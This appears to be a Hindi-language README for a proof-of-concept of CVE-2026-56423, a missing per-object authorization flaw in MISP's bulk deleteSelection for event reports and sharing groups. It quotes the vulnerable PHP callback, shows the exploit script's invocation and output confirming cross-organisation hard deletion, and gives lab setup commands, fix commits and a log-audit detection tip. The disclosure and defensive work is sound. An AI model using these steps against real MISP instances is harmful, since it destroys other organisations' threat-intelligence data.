
CVE-2026-56423 के लिए PoC: MISP deleteSelection में टूटा हुआ एक्सेस नियंत्रण (CWE-862, योगदानकर्ता अन्य संगठनों की ईवेंट रिपोर्ट/शेयरिंग ग्रुप्स को हार्ड-डिलीट करता है, CVSS 8.8)
deleteSelection बिगड़ा पहुँच नियंत्रणMISP के बल्क डिलीट फ़्लो में इवेंट रिपोर्ट और शेयरिंग ग्रुप के लिए लापता प्राधिकरण दोष का अवधारणा प्रमाण। deleteSelection हैंडलर प्रत्येक चयनित आइटम को एक कॉलबैक के साथ प्राधिकृत करते हैं जो आइटम को अनदेखा करता है और कॉल करने वाले की ग्लोबल भूमिका अनुमति (perm_add / perm_sharing_group) लौटाता है, न कि प्रति-वस्तु स्वामित्व जाँच। इसलिए कम-विशेषाधिकार वाला योगदानकर्ता (डिफ़ॉल्ट "उपयोगकर्ता" भूमिका) किसी भी संगठन से संबंधित रिपोर्ट आईडी/यूयूआईडी प्रस्तुत कर सकता है और उन्हें इंस्टेंस-व्यापी रूप से हार्ड-डिलीट कर सकता है, भले ही सही ढंग से संरक्षित प्रति-वस्तु delete क्रिया उसी अनुरोध को अस्वीकार कर दे।
| CVE | CVE-2026-56423 |
| उत्पाद | MISP (Malware Information Sharing Platform) कोर |
| प्रभावित | MISP CE/EE ≤ 2.5.41 |
| स्थिर | 2.5.42 |
| श्रेणी | CWE-862 — लापता प्राधिकरण (टूटा वस्तु-स्तरीय पहुँच नियंत्रण) |
| CVSS 3.1 | 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| प्रमाणीकरण | प्रमाणित, कम विशेषाधिकार (कोई भी भूमिका perm_add के साथ, जैसे "उपयोगकर्ता") |
| प्रकाशित | 2026-06-22 |
| स्थिति | पुष्टि — योगदानकर्ता 2.5.40 पर दूसरे संगठन की रिपोर्ट हटाता है; 2.5.42 पर अस्वीकृत |
app/Controller/EventReportsController.php (टैग v2.5.40):
public function deleteSelection($id = null)
{
return $this->CRUD->deleteSelection($id, [
'modelName' => 'EventReport',
...
'checkModifyCallback' => function($itemId) {
return $this->userRole['perm_add']; // ignores $itemId → global role bool
},
]);
}
CRUDComponent::deleteSelection प्रत्येक चयनित आईडी के लिए इस checkModifyCallback को कॉल करता है और जब भी यह true लौटाता है तो वस्तु को हटा देता है:
$canModify = call_user_func($options['checkModifyCallback'], $itemId, $item);
if (!$canModify) { $fails[] = $cid; continue; }
if ($Model->delete($itemId)) { $successes[] = $cid; }
चूँकि कॉलबैक $this->userRole['perm_add'] लौटाता है — एक ग्लोबल बूलियन जो डिफ़ॉल्ट "उपयोगकर्ता" भूमिका के लिए true है — लक्ष्य रिपोर्ट के स्वामित्व की कभी जाँच नहीं की जाती। इसके विपरीत, एकल-वस्तु delete($id) क्रिया सही ढंग से EventReport::fetchIfAuthorized($this->Auth->user(), $id, 'delete') कॉल करती है और विदेशी रिपोर्ट को अस्वीकार करती है।
SharingGroupsController::deleteSelection में perm_sharing_group का उपयोग करके वही दोष है।
2.5.42 (कमिट ada02fa, f99b3f1) में फिक्स प्रति-आइटम EventReport::fetchIfAuthorized($user, $itemId, 'delete') के साथ कॉलबैक को बदलता है।
पूर्ण वॉकथ्रू के लिए ANALYSIS.md देखें।
perm_add है — बिल्ट-इन उपयोगकर्ता भूमिका, जो बहु-संगठन इंस्टेंस पर सामान्य योगदानकर्ताओं को दी जाती है।MISP.enable_themes = true। deleteSelection क्रिया ACL में AND(theming_enabled, perm_add) द्वारा गेटेड है, जहाँ theming_enabled MISP.enable_themes सेटिंग से मैप होता है। यह सेटिंग डिफ़ॉल्ट रूप से बंद है लेकिन एक सामान्य UI सुविधा फ़्लैग है जो कई इंस्टेंस पर सक्षम होती है (यह v2 इंडेक्स/लिस्ट UI को संचालित करता है)। इसके बंद होने पर क्रिया बगी कॉलबैक चलने से पहले HTTP 403 लौटाती है।python3 exploit.py https://127.0.0.1:443 \
--attacker-key <contributor_authkey> \
--admin-key <admin_authkey_used_only_to_confirm_the_target> \
--report-id <id_of_a_report_owned_by_another_org>
[1] contributor legit delete/2 -> HTTP 404 (DENIED (expected))
[2] contributor deleteSelection [2] -> HTTP 200 {"saved":true,"success":true,"name":"EventReport deleted."...}
[+] CONFIRMED: contributor hard-deleted another org's Event Report via deleteSelection
cd lab
./setup.sh # MISP core v2.5.40 + attacker org + contributor + victim report
source /tmp/misp_poc.env
python3 ../exploit.py https://127.0.0.1:443 \
--attacker-key "$CONTRIB_KEY" --admin-key "$ADMIN_KEY" --report-id "$VICTIM_REPORT_ID"
# patched build denies the same request:
CORE_RUNNING_TAG=v2.5.42 ./setup.sh
./teardown.sh
| अनुरोध (निम्न-विशेषाधिकार योगदानकर्ता, विदेशी रिपोर्ट) | v2.5.40 | v2.5.42 |
|---|---|---|
सही ढंग से संरक्षित delete/{id} | 404 अस्वीकृत | 404 अस्वीकृत |
उसी रिपोर्ट का deleteSelection | 200 — हार्ड-डिलीट हुआ | 403 — "हटा नहीं सका"; रिपोर्ट बरकरार |
समान अनुरोध फिक्स के पार सफलता से अस्वीकृति में बदल जाता है, और सही ढंग से संरक्षित प्रति-वस्तु हटाना दोनों में अस्वीकृत होता है — यह साबित करता है कि बग deleteSelection में लापता प्रति-वस्तु प्राधिकरण है, न कि गलत कॉन्फ़िगर किया गया खाता। पूर्ण प्रतिलेख EVIDENCE.txt में।
साझा MISP इंस्टेंस पर कोई भी कम-विशेषाधिकार वाला उपयोगकर्ता इवेंट रिपोर्ट — थ्रेट-इंटेल घटनाओं से जुड़ा विश्लेषक विवरण — और अन्य संगठनों से संबंधित शेयरिंग ग्रुप को इंस्टेंस-व्यापी रूप से अपरिवर्तनीय रूप से हार्ड-डिलीट कर सकता है। यह एक क्रॉस-टेनेंट अखंडता/उपलब्धता समझौता है जिस पर CERT, ISAC और SOC निर्भर हैं।
EventReport::fetchIfAuthorized($user, $itemId, 'delete') लागू करता है; वही पैटर्न शेयरिंग ग्रुप पर लागू होता है।MISP लॉग में EventReports/deleteSelection (और SharingGroups/deleteSelection) अनुरोधों की ऑडिट करें जहाँ कार्य करने वाले उपयोगकर्ता का संगठन हटाए गए ऑब्जेक्ट के स्वामी संगठन से भिन्न हो।
शोध और PoC: Caio Fabrício (@BiiTts) द्वारा।
MIT — LICENSE देखें।